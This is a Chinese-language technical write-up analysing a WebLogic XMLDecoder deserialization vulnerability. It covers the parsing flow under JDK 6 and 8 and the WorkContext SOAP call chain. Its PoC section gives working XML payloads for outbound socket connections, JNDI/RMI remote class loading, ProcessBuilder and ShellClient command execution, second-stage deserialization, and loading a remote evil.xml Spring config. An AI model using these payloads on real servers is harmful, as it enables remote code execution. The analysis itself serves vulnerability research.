实际上这篇文章难产了很久,反正就是前前后后摸了很久,这个洞感觉下来就是jdk的xmldecoder无限制的反序列化导致的代码执行。值得一提的是jdk的xmldecoder反序列化的处理方式在jdk6以下和6以后是不同的,这点不同导致很多8下可行的绕过方式没法在6下利用,所以分析处理流程时,本文会分版本讨论。
前言
实际上这篇文章难产了很久,反正就是前前后后摸了很久,这个洞感觉下来就是jdk的xmldecoder无限制的反序列化导致的代码执行。值得一提的是jdk的xmldecoder反序列化的处理方式在jdk6以下和6以后是不同的,这点不同导致很多8下可行的绕过方式没法在6下利用,所以分析处理流程时,本文会分版本讨论。
xml decoder反序列化处理流程
jdk8下的处理流程
8下的xmldecoder的反序列化流程较为清晰,也较为典型。
基本上就是从XMLDocumentFragmentScannerImpl的scanDocument方法开始,该方法实现的xml反序列化过程是一套有限自动机。主要关注点是3个状态,startElement,endElement,还有中间状态。
startElement:在遇到节点起始标签是起作用,解析一个节点先是解析节点的类型,并按照节点的类型调用elementHandler,设置完后依次放入解析属性并放入当前节点对象。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22ElementHandler var5 = this.handler;
try {
this.handler = (ElementHandler)this.getElementHandler(var3).newInstance();
this.handler.setOwner(this);
this.handler.setParent(var5);
} catch (Exception var10) {
throw new SAXException(var10);
}
for(int var6 = 0; var6 < var4.getLength(); ++var6) {
try {
//设置attr的名称和值
String var7 = var4.getQName(var6);
String var8 = var4.getValue(var6);
this.handler.addAttribute(var7, var8);
} catch (RuntimeException var9) {
this.handleException(var9);
}
}
this.handler.startElement();
endElement:在遇到节点闭合时起作用,作用一般有二,首先,是表达式栈中的表达式弹出,然后执行表达式并将执行结果重新入栈,该操作一般使用getValueObject方法来实现。其次,它判断当前节点和上级节点的关系,将当前节点作为上级节点的参数或者其他。
创建对象的操作一般通过将表达式的方法名设置为new来实现,需要指出的是new方法实例化对象实际上是借助了newInstance方法,也就是说实例化的类必须有一个无参数构造器。
1 | protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception { |
- 中间流程:节点和节点之间的换行空格是会被忽略的,并不影响解析结果。
- 不同类型的节点解析依赖不同的elementHandler,这是Handler的继承关系,其中NewElementHandler节点结束时会创建对象或者执行方法,AccessorElementHandler能够设置或者访问当前对象的属性。
1 | public DocumentHandler() { |
jdk6下的处理流程
jdk6下的基本流程是可以走得通的,但是有一大票标签都没法用了,这里提一下,后面所有的复现环境都在jdk7下进行。
简单地来说,new和property标签都没法打,相当多绕过的payload都没法用。
1 | public void startElement(String var1, AttributeList var2) throws SAXException { |
通常而言,尽管6的标签较少但是,6的解析较为宽松。
漏洞分析
环境
使用A-Team的weblogic环境,jdk7u21,weblogic 10.3.6,idea远程调试,docker开放端口7001和8453。
具体调试主要参考了idea+docker的调试步骤,建议导入jar包和war包,war包中的web.xml文件记录了路由和servlet对应的关系。
漏洞点分析
- 使用vulhub给出的poc,然后直接在java.lang.ProcessBuilder的start方法下断点,记录从xmldecoder.readObject开始的调用堆栈。
该漏洞的主要成因是使用weblogic原生的servlet来处理soap请求,在原生servlet中使用xmldecoder来直接解析输入的xml内容最终导致反序列化。(这里直接使用WebService注解绑定)
HttpAdapter.HttpToolkit的handler方法用于提取http数据包中的xml内容。
1
packet = HttpAdapter.this.decodePacket(con, this.codec);
WorkContextServerTube的processRequest方法将soap请求中WorkContext并将内容送入readHeaderOld方法
readHeaderOld方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}其中的WorkContextXmlInputAdapter构造方法
1
2
3public WorkContextXmlInputAdapter(InputStream var1) {
this.xmlDecoder = new XMLDecoder(var1);
}readObject的触发点
WorkContextLocalMap
WorkContextEntryImpl
WorkContextXmlInputAdapter
poc分析
poc并不能直接打,要自己加上soap结构。
socket,使用socket类直接调用响应构造器。
1
2
3
4
5
6<java>
<object class="java.net.Socket">
<string>10.211.55.2</string>
<int>8881</int>
</object>
</java>1
2
3
4
5
6
7public Socket(String host, int port)
throws UnknownHostException, IOException
{
this(host != null ? new InetSocketAddress(host, port) :
new InetSocketAddress(InetAddress.getByName(null), port),
(SocketAddress) null, true);
}远程nc监听看到来自本机的连接即可。
jndi
java原生类jndi的利用方式,因为autoCommit是私有属性,所以如果设置属性就会调用setAutoCommit方法,触发connect到DataSource.lookup方法加载远程工厂类。
1
2
3
4
5
6
7
8
9
10
11<java>
<void class="com.sun.rowset.JdbcRowSetImpl">
<void property="dataSourceName">
<string>rmi://10.211.55.2:1099/Foo</string>
</void>
<void property="autoCommit">
<boolean>true</boolean>
</void>
</void>
</java>命令执行
有两种,一种是调用processBuilder,另外一种是调用weblogic.nodemanager.client.ShellClient
processBuilder
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="2">
<void index="0">
<string>open</string>
</void>
<void index="1">
<string>/Applications/Calculator.app/</string>
</void>
</array>
<void method="start"/>
</void>
</java>ShellClient的poc需要设置一个属性domainName,不然没法过checkConnected
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23public synchronized String getVersion() throws IOException {
this.checkConnected(false);
this.execCmd(Command.VERSION);
String var1;
String var2;
for(var2 = null; (var1 = this.readLine()) != null; var2 = var1) {
}
this.checkResponse();
return var2;
}
private void execCmd(Command var1) throws IOException {
String[] var2 = this.getCommandLine(var1, this.shellCommand);
if (this.verbose) {
this.stdout.println("DEBUG: ShellClient: Executing shell command: " + StringUtils.join(var2, " "));
}
this.proc = Runtime.getRuntime().exec(var2);
this.errDrainer = new ShellClient.ErrDrainer(this.proc.getErrorStream());
this.errDrainer.start();
}
二次反序列化
还是两种,分10和12的类,原理都差不多就记录一个。
- oracle.toplink.internal.sessions.UnitOfWorkChangeSet,
1
2
3
4
5
6
7
8
9
10
11<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="oracle.toplink.internal.sessions.UnitOfWorkChangeSet">
<void><array class="byte" length="3104">
<void index="0">
<byte>-84</byte>
...
</void>
</array>
</void>
</void>
</java>1
2
3
4
5
6public UnitOfWorkChangeSet(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteIn = new ByteArrayInputStream(bytes);
ObjectInputStream objectIn = new ObjectInputStream(byteIn);
this.allChangeSets = (IdentityHashtable)objectIn.readObject();
this.deletedObjects = (IdentityHashtable)objectIn.readObject();
}这里可以直接用jdk的链打回显,个人觉得效果会好些。
利用bean xml
加载spring bean的配置文件。
1
2
3
4
5
6
7
<void class+"com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext">
<void>
<string>http://127.0.0.1:8881/evil.xml</string>
</void>
</class>
</java>
检测和利用的思考
回显检测
有两个思路,实际上如果反序列化成功会回显ProcessBuilder子类的字段,直接匹配就好,另一个就是利用二次反序列化,加载恶意类修改response,写入命令执行结果即可。
总结
这个洞的流程还是比较简单的,主要就是弄清楚xmlDecoder的解析流程之后,soap的几个字段之后,再debug就好理解了,具体的利用还是要结合java中各种常规思路比如二次反序列化,原生链的jndi之类的,找个时间好好写写补丁绕过的部分,感觉是很有意思。